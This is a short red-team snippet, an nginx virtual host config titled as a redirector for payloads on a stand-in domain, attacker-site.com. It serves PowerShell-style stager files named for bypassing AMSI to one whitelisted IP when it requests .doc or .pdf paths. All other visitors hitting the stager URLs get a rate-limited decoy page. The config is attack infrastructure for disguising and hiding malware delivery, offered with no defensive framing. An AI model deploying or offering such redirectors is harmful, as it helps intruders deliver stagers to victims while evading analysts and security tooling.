Nginx as redirector for payloads

nginx_example_vhost

limit_req_zone $binary_remote_addr zone=req_zone:10m rate=5r/m;

server {
    root /var/www/attacker-site.com/html;
    index index.html;
    server_name attacker-site.com www.attacker-site.com;
    location / {
        try_files $uri $uri/ =404;
    }
    location = /bypassamsiandrequeststager.txt {
        limit_req zone=req_zone burst=4 nodelay;
        alias /var/www/attacker-site.com/html/theyshallnotpass.html;
    }
    location = /stager.txt {
        limit_req zone=req_zone burst=4 nodelay;
        alias /var/www/attacker-site.com/html/theyshallnotpass.html;
    }
    location ~ \.doc$ {
        if ($remote_addr = XXX.XXX.XXX.XXX) {
            alias /var/www/attacker-site.com/html/bypassamsiandrequeststager.txt;
        }
    }
    location ~ \.pdf$ {
        if ($remote_addr = XXX.XXX.XXX.XXX) {
            alias /var/www/attacker-site.com/html/stager.txt;
        }
    }

    listen [::]:443 ssl ipv6only=on;
    listen 443 ssl;
    ssl_certificate /etc/letsencrypt/live/attacker-site.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/attacker-site.com/privkey.pem;
    include /etc/letsencrypt/options-ssl-nginx.conf;
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}
server {
    if ($host = www.attacker-site.com) {
        return 301 https://$host$request_uri;
        }
        if ($host = attacker-site.com) {
            return 301 https://$host$request_uri;
            }
            listen 80;
            listen [::]:80;
            server_name attacker-site.com www.attacker-site.com;
            return 404;
        }